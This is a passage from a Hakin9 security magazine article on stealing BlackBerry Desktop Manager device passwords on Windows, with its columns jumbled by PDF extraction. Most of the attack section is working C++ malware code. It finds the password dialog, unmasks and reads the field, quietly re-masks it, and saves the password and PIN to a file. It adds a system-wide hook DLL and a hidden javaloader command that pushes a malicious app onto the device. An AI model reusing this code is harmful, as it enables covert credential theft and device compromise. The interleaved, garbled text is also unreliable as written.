{ else accept(); { Dialog.alert("null-pointer exception"); close(); Dialog.alert("Invalid Password } !"); else 42 www.hakin9.org/en
  • 9. Why Is Password Protection a Fallacy – a Point of View? Listing 2b. Our Password Dialog } else { password = answer.getText(); Dialog.alert("Invalid Password !"); } retval = true; break; case Characters.ESCAPE: close(); break; default: retval = super.keyChar(key,status,time); } Figure 8. Class name & Window Text of controls (v4-v5) – part I return retval; } about e.g. null-pointer error, hung process. Then you’ve //Implementation of KeyListener.keyDown seen originally logon screen. public boolean keyDown(int keycode, int time) RIM’s article (How to – Protect BlackBerry { applications with a password screen) helps to re- return false; create own password dialog. In order to create a pop- } up password screen for a BlackBerry application, the //Implementation of KeyListener.keyRepeat PopupScreen class must be extended. Implementation public boolean keyRepeat(int keycode, int time) of both a TrackwheelListener and KeyListener is also { needed, such that whenever the trackwheel is clicked or return false; the Enter key is pressed on the BlackBerry device, the } password is verified (Listing 2). //Implementation of KeyListener.keyStatus It also could use when lock-unlock status is changed public boolean keyStatus(int keycode, int time) or is synchronized. { From time to time most users are attentive to return false; malicious software and gives a lot of trouble to malware- } writer. Therefore was found another way of password //Implementation of KeyListener.keyUp stealing. Every device is going to synchronize with PC public boolean keyUp(int keycode, int time) sometimes. Pass over a Mac and move to Windows. { Our first target group is made by Windows XP (just return false; in case), Windows Vista (jic), Windows Seven (most } } Listing 3. Catch password dialog's handler (�rst part) void __fastcall Catcher() { //ClassName of Window char *internal = "#32770"; //Caption of Window char *external = "Device Password Required"; //Catch a Window HWND window = FindWindow(internal, external); … } Figure 9. Class name & Window Text of controls (v4-v5) – part II www.hakin9.org/en 43
  • 10. EXPLOITING SOFTWARE Listing 4. Retrieve a static text from password dialog (second part) void __fastcall Catcher() { ... if ((bool)(int)window) { //Label like "Password:" char *stat_pass_text = (char *)malloc(256); //Label like "PIN of Device:" char *stat_devc_text = (char *)malloc(256); //Label like "Your attemp counts:" char *stat_attmp_text = (char *)malloc(256); //In Z-order first of all get a password-static Figure 10. Class name & Window Text of controls (v4-v5) – part III control popular). Second target group is made by BlackBerry HWND stat_pass = FindWindowEx(window, NULL, Device Manager (as known in version 4.xx or 5.xx) and "Static", "Password:"); BlackBerry Desktop Manager (if we’re talking about //In Z-order previous of it is attemp's count version 6.xx). It’s a minor target than major target is HWND stat_attmp = GetWindow(stat_pass, 3); password field of textbox’s software. Unfortunately, we //In Z-order next of it is Device PIN can’t get a screen-capture. So, try to use a WINAPI HWND stat_devc = GetWindow(stat_pass, 2); functional. //get control's caption for a password-static First of all, we need recall a knowledge about control system messages and system object. What does GetWindowText(stat_pass, stat_pass_text, 256); editbox look like? It’s simple field for typing character //get control's caption for a pin-static control ~32k in length that has a passwordchar property. It GetWindowText(stat_attmp, stat_attmp_text, 256); has default #0 value or NULL or 0. Other masking //get control's caption for a attemp_count- character could be a black circle or asterisk or static control anything else. 0x25CF is unicode character of GetWindowText(stat_devc, stat_devc_text, 256); AnsiString DEV_PIN = AnsiString(stat_devc_text); GetWindow Constant GW _ HWNDNEXT (0x0002) – Identi�es the window below the AnsiString ATTEMPT = AnsiString(stat_attmp_text); speci�ed window in the Z order. //correct a program version: GW _ HWNDPREV (0x0003) – Identi�es the window above the //if NULL then BB Manager v4 or BB Manager v5 speci�ed window in the Z order. //else everythin 's OK - BB Desktop Manager v6 if (DEV_PIN.Length() < 1) { int pos = AnsiPos("n", AnsiString(ATTEMPT.c_str())); //extract a first part of Static (PIN) DEV_PIN = ATTEMPT.SubString(1, pos - 1); //extract a second part of Static (attempt' count) AnsiString ATTEMPT = ATTEMPT.SubString(pos + 1, ATTEMPT.Length() - pos); } free(stat_devc_text); free(stat_attmp_text); free(stat_pass_text); … } … } Figure 11. Class name & Window Text of controls (v4-v5) – part IV 44 www.hakin9.org/en
  • 11. Why Is Password Protection a Fallacy – a Point of View? black circle. Every system object like modal window and pop-up windows; but the message is not sent to or textbox responds to API subroutine such as child windows. Second parameter is (Type: UINT) a SendMessage or PostMessage. Both subroutines message to be sent. For lists of the system-provided send the specified message to a window or windows. messages, see System-Defined Messages. Other But if you need to post a message in the message two parameters (Type: WPARAM, Type: LPARAM) queue associated with a thread you should use the are represent an additional message-specific PostMessage function. Parameters’ syntax is the information. It’s easy to guess that we need in WM_ same. First parameter is (Type: HWND) a handle to GETTEXT (0x000D) message. It copies the text that the window whose window procedure will receive the corresponds to a window into a buffer provided by the message. If this parameter is HWND_BROADCAST caller. Window’s caption or textfield’s content could ((HWND)0xffff), the message is sent to all top- copy with it. However, if editbox is masked you can’t level windows in the system, including disabled or copy text, because you get a NULL-pointer. Well then invisible unowned windows, overlapped windows, do unmask, copy and mask again (Figure 11). Listing 5. Catch password from a password dialog (third part) void __fastcall Catcher() //ReDraw EditBox { //InvalidateRect(pass_hwnd, 0, true); ... if ((bool)(int)window) //If action is unsuccessfull set "EMPTY" { info … if (password.Length() == 0) Application->ProcessMessages(); { //get handler of EditBox password = "EMPTY"; HWND pass_hwnd = FindWindowEx(window, NULL, } "Edit", NULL); if (DEV_PIN.Length() == 0) //Check desirable EditBox (with Parent { Form's Caption "Device Password DEV_PIN = "EMPTY"; Requied") } if ((bool)(int)pass_hwnd) if (ATTEMPT.Length() == 0) { { //unset password masking ATTEMPT = "EMPTY"; PostMessage(pass_hwnd, EM_SETPASSWORDCHAR, } 0, 0); //ReDraw EditBox //Store in StringList variable our PIN, //InvalidateRect(pass_hwnd, 0, true); attemps count and pass //allocate memory for edit's password in_list->Add(ATTEMPT); char *passw = (char *)malloc(256); in_list->Add(password ); //Password's borrowing Application->ProcessMessages(); SendMessage(pass_hwnd, WM_GETTEXT, try (WPARAM)256, (LPARAM)passw); { in_list->SaveToFile("c:pass.txt"); //store in new variable } AnsiString password = AnsiString(passw); catch (Exception *ex) free(passw); { //Don't let him (user) see it. Paint out. } //0x25CF is unicode character of black } circle } //(dialog boxes on Win7, XP). } SendMessageW(pass_hwnd, EM_ SETPASSWORDCHAR, 0x25cf, 0); www.hakin9.org/en 45
  • 12. EXPLOITING SOFTWARE unmasked password to be placed into a buffer which could potentially be accessed through other means by an unauthorized process. Exploitation would require a malicious local process to wait for an authentication prompt to be sent to a local user by another application. The attacker would then have to authenticate normally. The unmasked password can be copied while this is occurring. From this point, a further attack would be required to steal password credentials. Before use this WINAPI function you should know handler of recipient object. Should to find a window’s handler a then a object’s handler. To do it either download desirable software or other use WindowFromPoint(Mouse->CursorPos) that return a handler of what under your mouse cursor’s Figure 12. Stolen password (v4)– part I coordinates. I’d prefer a first way. At first, let’s check it with old BB Manager (version 4 Back in 2003 when MS Windows PostMessage API or 5). Unmasked Password Weakness was found. Declared Thus, we’ve got a ClassName of password’s window affects: #32770 and language-sensitive caption Device Password Required. Also device pin and attempt’s counter are in • Microsoft Windows 2000 Advanced Server our disposal. • Microsoft Windows 2000 Datacenter Server • Microsoft Windows 2000 Professional Listing 6. Get OS version • Microsoft Windows 2000 Server • Microsoft Windows XP Home Edition bool xp_seven = false; //indicate XP OS or Seven OS • Microsoft Windows XP Professional void __fastcall get_os() { A weakness has been reported in the Microsoft vinfo.dwOSVersionInfoSize = Windows PostMessage API which could effectively sizeof(OSVERSIONINFO); allow unmasked passwords to be copied into a user’s GetVersionEx(&vinfo); clipboard or other buffer. PostMessage places a if (vinfo.dwMajorVersion == 4) message in the message queue but does not sufficiently { check the message type. EM_SETPASSWORDCHAR this->Edit5->Text = "Windows NT 4.0, Windows (Type UINT, Message) messages set the password Me, Windows 98, or Windows 95"; mask character in password edit box controls. } PostMessage may be abused in combination with else if (vinfo.dwMajorVersion == 5) EM_SETPASSWORDCHAR messages to cause an { this->Edit5->Text = "Windows Server 2003 R2, Windows Server 2003, Windows XP, or Windows 2000"; xp_seven = false; } else if (vinfo.dwMajorVersion == 6) { this->Edit5->Text = "Windows Vista, Windows Server Longhorn or Windows Seven"; xp_seven = true; } … } Figure 13. Stolen password (v4)– part II 46 www.hakin9.org/en
  • 13. Why Is Password Protection a Fallacy – a Point of View? Two parameters should be used is in GetWindow Constant. Note that in BB Manager v4 (or v5) is one static for password’s attempts and device pin than in BB Desktop Manager v6 where it two separate controls (Listing 4). After it was copied get a edit’s handler and send via PostMessage function with EM_SETPASSWORDCHAR message and NULL-parameters (WPARAM & LPARAM) to those handler. Via SendMessage function with WM_ GETTEXT and buffer & buffer-size parameters retrieve a characters from edit-box. And don’t forget about masking typed chars via SendMessageW functional with EM_SETPASSWORDCHAR message and 0x25cf WPARAM. It strongly recommend to use unicode version of SendMessage else you’ve got another character than black circle (Listing 5). Figure 14. Class name & Window Text of controls (v6) – part I Look at Figures 12. A malware’s code has caught a password, device pin, attempt counter. To prove There’s a FindWindow Function that retrieves a password’s correctness I comment SendMessageW(.., handle to the top-level window whose class name and 0x25cf,..) line to represent a password without masking window name match the specified strings. It’s return (Figure 13). us a window’s handler. To access to the static and If we try to use this code in Vista or Seven we get edit controls use the function searches child windows, nothing, because it’s more correct to set system hook is beginning with the one following the specified child owner address space via loading a DLL-Cather. But at window. It’s known as FindWindowEx. Full usage this rate you should to know OS version, right? Roughly, description you find on the net (Listing 3). we need a so called Major Version to distinct XP and But we don’t know what text we’re got in cause having Seven (Listing 6). 2 or 3 static name (depend on v4-v5 and v6). Z-order Now, let’s check with class names and window texts and GetWindow function is come to aid. The z-order against BB Desktop Manager (Figures 13-16). Most of of a window indicates the window’s position in a stack this repeats previous parts exclude several ideas. How of overlapping windows. This window stack is oriented to use system hooks you can find on google.com, so along an imaginary axis, the z-axis, extending outward I mark several ideas. SysMsgProc(int code, WPARAM from the screen. The window at the top of the z-order wParam, LPARAM lParam) returns to us parameter overlaps all other windows. The window at the bottom of (LPARAM) Wnd = ((tagMSG*)lParam)->hwnd where the z-order is overlapped by all other windows. Function stored out handler for controls. Then we need to catch retrieves a handle to a window that has the specified again a password dialog and retrieve a edit’s handler. relationship (Z-Order or owner) to the specified window. After successful comparing both handlers you is able Figure 15. Class name & Window Text of controls (v6) – part II Figure 16. Class name & Window Text of controls (v6) – part III www.hakin9.org/en 47
  • 14. EXPLOITING SOFTWARE Listing 7. Main de�nitions void __fastcall TForm1::FormCreate(TObject *Sender) if (normally_closed) { { if (FileExists("c:pass.txt")) return; { } DeleteFile("c:pass.txt"); if (xp_seven) } { if (RunStopHook != NULL) { vinfo.dwOSVersionInfoSize = RunStopHook(false, hModule); sizeof(OSVERSIONINFO); } GetVersionEx(&vinfo); if (hModule != NULL) if (vinfo.dwMajorVersion == 4) { { this->Edit5->Text = "Windows NT 4.0, Windows } Me, Windows 98, or Windows 95"; } } } else if (vinfo.dwMajorVersion == 5) //-------------------------------------------------- { void __fastcall TForm1::FormClose(TObject *Sender, this->Edit5->Text = "Windows Server 2003 R2, TCloseAction &Action) Windows Server 2003, Windows XP, { or Windows 2000"; if (xp_seven) xp_seven = false; { } if (RunStopHook != NULL) else if (vinfo.dwMajorVersion == 6) { { RunStopHook(false, hModule); this->Edit5->Text = "Windows Vista, Windows } Server Longhorn or Windows if (hModule != NULL) Seven"; { xp_seven = true; FreeLibrary(hModule); } } } if (xp_seven) normally_closed = true; { } // Load the DLL file hModule = LoadLibrary("Catcher.dll"); // Get the address of the function RunStopHook = (void *(__stdcall *)(bool, HIN STANCE))GetProcAddress(hModule, "_RunStopHook"); //Start Catcher RunStopHook(true, hModule); } else { this->CatchTimer->Enabled = true; } } //-------------------------------------------------- void __fastcall TForm1::FormDestroy(TObject *Sender) { 48 www.hakin9.org/en
  • 15. Why Is Password Protection a Fallacy – a Point of View? Listing 8a. DLL Catcher HHOOK SysHook; //Label like "PIN of Device:" HWND Wnd; char *stat_devc_text = (char HINSTANCE hInst; *)malloc(256); TStringList *in_list = new TStringList(); //Label like "Your attemp counts:" //-------------------------------------------------- char *stat_attmp_text = (char *)malloc(256); int WINAPI DllEntryPoint(HINSTANCE hinst, unsigned long reason, void* lpReserved) //In Z-order first of all get a password- { static control hInst = (HINSTANCE)hinst; HWND stat_pass = FindWindowEx(window, return 1; NULL, "Static", "Password:"); } //In Z-order previous of it is attemp's count //-------------------------------------------------- HWND stat_attmp = GetWindow(stat_pass, 3); extern "C" void __export RunStopHook(bool State, //In Z-order next of it is Device PIN HINSTANCE hInstance) HWND stat_devc = GetWindow(stat_pass, 2); { if (true) //get control's caption for a password- { static control SysHook = SetWindowsHookEx(WH_GETMESSAGE, GetWindowText(stat_pass, stat_pass_text, 256); &SysMsgProc, hInst, 0); //get control's caption for a pin-static control } GetWindowText(stat_attmp, stat_attmp_text, 256); else //get control's caption for a attemp_ { count-static control //clear our storage is it's unhooked GetWindowText(stat_devc, stat_devc_text, 256); in_list->Clear(); UnhookWindowsHookEx(SysHook); AnsiString DEV_PIN = AnsiString(stat_devc_text); } AnsiString ATTEMPT = AnsiString(stat_attmp_text); } //-------------------------------------------------- //correct a program version: LRESULT CALLBACK SysMsgProc(int code, WPARAM wParam, //if NULL then BB Manager v4 or BB Manager v5 LPARAM lParam) //else everythin 's OK - BB Desktop Manager v6 //hook code, removal flag, address of if (DEV_PIN.Length() < 1) structure with message { { int pos = AnsiPos("n", //Pass message to other system hooks AnsiString(ATTEMPT.c_str())); //extract a first part of Static (PIN) DEV_PIN = ATTEMPT.SubString(1, pos - 1); //Check Message //extract a second part of Static if (code == HC_ACTION) (attempt' count) { AnsiString ATTEMPT = ATTEMPT.SubString(pos //Get Window's Handler that give a message + 1, ATTEMPT.Length() - pos); Wnd = ((tagMSG*)lParam)->hwnd; } //ClassName of Window free(stat_devc_text); char *internal = "#32770"; free(stat_attmp_text); //Caption of Window free(stat_pass_text); char *external = "Device Password Required"; //Catch a Window //get handler of EditBox HWND window = FindWindow(internal, external); HWND pass_hwnd = FindWindowEx(window, if ((bool)(int)window) NULL, "Edit", NULL); { //Check desirable EditBox (with Parent //Label like "Password:" Form's Caption "Device Password char *stat_pass_text = (char *)malloc(256); Requied") www.hakin9.org/en 49
  • 16. EXPLOITING SOFTWARE to steal password. Note, in this case (dll) you should Purpose of life... redraw a control by invalidate-function (Listing 7-8). What do criminals need password for? There’s a several Grand Success! Look at Figures 18-19. We’ve just reasons on it. caught a bit more extra-protected password. Figure 17. Class name & Window Text of controls (v6) – part IV Figure 18. Stolen password (v6) – part I Listing 8b. DLL Catcher If ( ((bool)(int)pass_hwnd) & (pass_ { hwnd == Wnd) ) DEV_PIN = "EMPTY"; { } //unset password masking if (ATTEMPT.Length() == 0) SendMessage(Wnd, EM_SETPASSWORDCHAR, 0, 0); { //ReDraw EditBox ATTEMPT = "EMPTY"; InvalidateRect(Wnd, 0, true); } if (password.Length() == 0) //allocate memory for edit's password { char *passw = (char *)malloc(256); password = "EMPTY"; } //Password's borrowing SendMessage(Wnd, WM_GETTEXT, //Store in StringList variable our PIN, (WPARAM)256, (LPARAM)passw); attemps count and pass in_list->Add(DEV_PIN); //store in new variable in_list->Add(ATTEMPT); AnsiString password = in_list->Add(password); AnsiString(passw); free(passw); try { //Don't let him (user) see it. Paint out. in_list->SaveToFile("c:pass.txt"); //0x25CF is unicode character of black } circle catch (Exception *ex) //(dialog boxes on Win7, XP). { SendMessageW(Wnd, EM_SETPASSWORDCHAR, 0x25cf, 0); } //ReDraw EditBox } InvalidateRect(Wnd, 0, true); } } //If action is unsuccessfull set "EMPTY" info return 0; if (DEV_PIN.Length() == 0) } 50 www.hakin9.org/en
  • 17. Why Is Password Protection a Fallacy – a Point of View? THREE CONSTANTS OF BLACKBERRY DESKTOP SOFTWARE WINDOW TEXT BlackBerry® Desktop Software CLASSNAME TEXT HwndWrapper[Rim.Desktop.exe;;4f73dd50-23b3-416c-9ae3-81d8908073f1] WINDOW TEXT Unlock BlackBerry® device CLASSNAME TEXT HwndWrapper[Rim.Desktop.exe;;606b4596-b8eb-4102-8d62-5c87d2220001] WINDOW TEXT Back Up Options CLASSNAME TEXT HwndWrapper[Rim.Desktop.exe;;547a3dd4-57aa-4e40-a2ea-16b19fd1697e] JAVA LOADER USAGE Usage: JavaLoader [-u] [-p<port>|<pin>] [-b<baud>] [-d0|- d1] [-w<password>] [-q] <command> -u Connect to USB handheld (default is serial) -w<password> Connects using the speci�ed password -q Quiet mode <command> is of load <.cod file> Loads modules onto the handheld load <.jad file> Load modules described by JAD onto the handheld wipe [-a|-f] Wipes the handheld -a Wipe applications only -f Wipe �lesystem only radio on|off Turns the handheld’s radio on or off screenshot <.bmp file> Retreives the current screen Figure 19. Stolen password (v6)– part II contents and saves it as a BMP �le resettofactory Reset IT policy to factory settings • If we’re lucky we’ll find the same lost device where we had stolen a password in old days. • If we’re lucky again we’ll steal the .ipd backup file that encrypted with the same password, and RESULT OF JAVALOADER-ATTACKER • Decrypt it (and sell it, or do nothing) >JavaLoader.exe -u -wSuPeRp@s$w0rD# load Mobile • Decrypt it and replace several field in it and sit Application1.cod RIM Wireless Handheld Java Loader and wait when user is upload modified backup Copyright 2001-2007 Research In Motion Limited file into device. Maybe he found phone numbers Connected Loading MobileApplication1 Done that replaced between contacts or deleted 4972 bytes sent at ~19888 bps Disconnected messages; or steal owner certificates. More > ideas on it you can find in July 2011 Issue Does your BlackBerry has ears?. Figure 20. BB Desktop Manager’s Handlers – part I Figure 21. BB Desktop Manager’s Handlers – part II www.hakin9.org/en 51
  • 18. EXPLOITING SOFTWARE • We attack device via javaloader and load one more According to DLL-Cacther and system hooks is malware bypassing a user’s attentiveness. possible to make a key-logger that waiting two handler then stealing a password and hibernating watcher In case 2, if we’re not lucky we need to catch another mechanism. password dialog (backup pass dialog). Those is part Let’s detail case 3. JavaLoader is part of BlackBerry of BB Manager. By the way, if you’ve already run a JDE. You can use the JavaLoader.exe file to perform BB Manager no one tray password dialog is pop-up; low-level, debugging, or loading operations on a you’ll see a pass dialog (v6) that belong BB Mananger BlackBerry. JavaLoader.exe is a powerful tool that window. BB Manager v4 or v5 is based on C++ (and can be used for various administrative tasks on the method is the same like previous), but BB Desktop BlackBerry, however most users (and admins too) Manager is based on C#. Thus, it impossible to use find it difficult to use. It uses when you’re developing WINAPI for stealing. But there’s problem solving. a program and need to debug it into simulator or real We still can catch a window dialog like Unlocking device. To attack we need a dropper exe file (kaspersky device and Backup device’s data. Look at THREE notation) that stored a password’s catcher exe file & dll CONSTANTS OF BLACKBERRY DESKTOP file and javaloader.exe. Let us run it and see available SOFTWARE and Figures 20-21. commands. On the ‘Net • http://docs.blackberry.com/en/admin/deliverables/12063/BlackBerry_Enterprise_Server-Policy_Reference_Guide-T323212-832026- 1023123101-001-5.0.1-US.pdf – BlackBerry Enterprise Server Version: 5.0. Policy Reference Guide, RIM, • http://docs.blackberry.com/en/developers/deliverables/11961/BlackBerry_Java_Application-Feature_and_Technical_Overview-- 789336-1109112514-001-5.0_Beta-US.pdf – BlackBerry Java Application. Version: 5.0. Feature and Technical Overview, RIM • http://docs.blackberry.com/en/developers/deliverables/9091/JDE_5.0_FundamentalsGuide_Beta.pdf – BlackBerry Java Applica- tion. Version: 5.0. Fundamentals Guide, RIM, • http://www.blackberry.com/knowledgecenterpublic/livelink.exe/fetch/2000/8067/645045/8655/8656/1106255/BlackBerry_Ap- plication_Developer_Guide_Volume_1.pdf?nodeid=1106256&vernum=0 – BlackBerry Application Developer Guide Volume 1: Fundamentals (4.1), RIM, • http://www.blackberry.com/knowledgecenterpublic/livelink.exe/fetch/2000/8067/645045/8655/8656/1106255/BlackBerry_Appli- cation_Developer_Guide_Volume_2.pdf?nodeid=1106444&vernum=0 – BlackBerry Application Developer Guide Volume 2: Advanced Topics (4.1), RIM, • http://www.blackberry.com/developers/docs/4.2api/ – RIM Device Java Library – 4.2.0 Release (Javadoc), RIM, • http://docs.blackberry.com/en/developers/deliverables/15497/BlackBerry_Smartphone_Simulator-Development_Guide--1001926- 0406042642-001-5.0-US.pdf – BlackBerry Smartphone Simulator. Version: 5.0. Development Guide, RIM, • http://docs.blackberry.com/en/developers/deliverables/1077/BlackBerry_Signing_Authority_Tool_1.0_-_Password_Based_-_Ad- ministrator_Guide.pdf – BlackBerry Signature Tool 1.0. Developer Guide, RIM • http://www.securingthehuman.org/newsletters/ouch/issues/OUCH-201105_en.pdf – Protecting Your Passwords. Dr. Cole, foun- der of Secure Anchor Consulting. OUCH! | May 2011 • http://www.securelist.com/en/weblog?weblogid=208188024 – Too many passwords? David Emm, Kaspersky Lab Expert • http://www.securelist.com/en/weblog?weblogid=192873136 – When your brain runs out of memory. Magnus Kalkuhl, Kasper- sky Lab Expert • http://www.cases.public.lu/fr/actualites/actualites/2008/11/19_SE/EN/index.html – The majority of Luxembourgers disclose per- sonal data without hesitation • http://ss64.com/nt/net_useradmin.html – list of Windows command shell’s commands. • http://www.hackzone.ru/articles/view/id/7703/ – A Windows Vista/Seven password breaking • http://www.blackberry.com/knowledgecenterpublic/livelink.exe/fetch/2000/348583/800332/800505/800256/How_to_-_Protect_ BlackBerry_applications_with_a_password_screen.html?nodeid=800506&vernum=0 – How to – Protect BlackBerry applica- tions with a password screen. BlackBerry Developers Knowledge Base. Article Number: DB-00135 • http://msdn.microsoft.com/en-us/library/ms644944(v=vs.85).aspx – PostMessage Function.MSDN • http://msdn.microsoft.com/en-us/library/ms644950(v=vs.85).aspx – SendMessage Function.MSDN • http://msdn.microsoft.com/en-us/library/ms644927(v=vs.85).aspx#system_de�ned – About Messages and Message Queues. System-De�ned Messages. MSDN. • http://msdn.microsoft.com/en-us/library/ms632627(v=vs.85).aspx – WM_GETTEXT Message.MSDN • http://www.f-secure.com/vulnerabilities/SA8329 – Windows 2000/XP PostMessage Password Disclosure. F-Secure, Vulnerabili- ty Reports SA8329. • http://msdn.microsoft.com/en-us/library/ms633499(v=vs.85).aspx – FindWindow Function.MSDN • http://msdn.microsoft.com/en-us/library/ms633500(v=vs.85).aspx – FindWindowEx Function.MSDN • http://msdn.microsoft.com/en-us/library/ms633515(v=vs.85).aspx – GetWindow Function.MSDN • http://msdn.microsoft.com/en-us/library/ms632599(v=vs.85).aspx#zorder – Z-Order.MSDN • http://msdn.microsoft.com/en-us/library/ms687393(v=vs.85).aspx – WinExec Function.MSDN • http://msdn.microsoft.com/en-us/library/ms633548(v=vs.85).aspx – ShowWindow Function’s parameter.MSDN 52 www.hakin9.org/en
  • 19. Why Is Password Protection a Fallacy – a Point of View? As can you see there’s a several command to connect Graphical password 2. It’s also known as Zero- with extra parameters. Common connect-command knowledge proof. System shows a two hundreds of need to know a device password. OK, we’ve already pictures asking you to choose several. During authorization steal it. There’s one more extra parameter that set a you need to find some of them and click inside mention- silence of actions. draw area. Then do the same several times. It takes for a Now, malware’s writer just need to program a long time but difficult to reproduce. subroutine that executes a shell-command. We can do it by following part of code (C++ or Delphi): Conclusion In the first part we saw the techniques of self-safeguarding WinExec(„javaloader.exe” -u -wSuPeRp@s$w0rD# load related to the issues identity theft, e.g. advice how to make MobileApplication1.cod”, SW_HIDE); a good password. We had also seen some of the tricks which could used by the malwares to steal a password’s Let’s Result of javaloader-attacker. preview. By the way, we examined a login bugs (Windows Vista/Seven, iPhone) and login spoofing technique that’s Modern way of password protection system used on blackberry devices. These techniques use a One-time password. Safeguard rule for password is misleading by fake error messages such null-pointer once-time using and next time use other password. error notification or process terminate notification. In the That idea is used by the European banks called second part we would focus on some of the interesting TrancActionNumber. Clients use a card that stores methodologies which are commonly used in security hundred passwords under protected area tap (like bypassing ideas over OS’s security layer. Step by step we a card of payment of cellular services). Every bank were approaching to fundamentals consist in blackbox transaction requests login, secret password and that ideas and security through obscurity. We discussed session password. When those passwords come to the several tricks of stealing password from BlackBerry end clients receive a new card. Another way of these Desktop Software (BB Device Manager) password-boxes systems’ protection uses a sms-password protection. on Windows XP and Windows Vista/Seven when your User receives a password or web-url to password that is connected to PC as some kind of deal with questions expires in 1 or 2 minutes. It’s also possible to receive of dll-injecting into blackberry process to reveal masked not only text-message but audio messages and picture characters of pressed characters (keylogging). messages. In due course when the passwords 7-14 characters in Biometric authentication. It’s extremely insecure length were considered as the reliable password have solution today. Finger scanner is deceived with finger- passed. Passwords can contain upto 127 symbols, but spoofing which based on stomatologic paste. Cheat there is no advantage in using it. As it is known, the level is 80% whereas that way of protection fails in most vulnerable point is the user which can’t keep in 10%. memory several difficult passwords. Sometimes even Smart-card. No memorizing is one of advantage of it. one difficult password, dictionary attacks, system of Simply insert card into card-scanner to access. Acoustic automatic selection of all possible combinations of recording caught a 90% of emitting sounds. It’s enough signs allows to open such password a maximum for to recover PINs and it’s very cheap equipment. a week. In fact, cornerstone is in the authentication Unconscious password 1. The system developed system. Remember, only paranoiac which don’t feel at the Jerusalem University allows people to use himself in safety is in safety. such passwords which shouldn’t be remembered. Experiments show the brain reliably keeps images YURY CHEMERKIN of pictures, nonexistent pseudo-words or artificial Graduated at Russian State University for the Humanities grammatical designs. We can’t describe it with self- (http://rggu.com/) in 2010. At present postgraduate at RSUH. recitation in details however it easily to think of it in case Information Security Analyst since 2009 and currently works it has been shown. You review several pictures choosing as mobile info security researcher in Moscow. appropriate object to learn recognition system. But it’s I have scienti�c and applied interests in the sphere of impracticality and wasting time. forensics, cyber security, AR, perceptive reality, semantic Unconscious password 2 – Graphical password networks, mobile security and cloud computing. I’m 1. PassPoint show a picture to you asking four area researching BlackBerry Infrastructure and the effects of the chosen. During authorization you’ll see the same picture trust bot-net & forensic techniques on the human privacy. asking to choose four areas again to proof yourself. E-mail: yury.chemerkin@gmail.com In other words, password-protection is changed by (yury.chemerkin@facebook.com) coordinates-protection. But it makes no difference Facebook: www.facebook.com/yury.chemerkin between any kinds of protected data. LinkedIn: http://ru.linkedin.com/pub/yury-chemerkin/2a/434/549 www.hakin9.org/en 53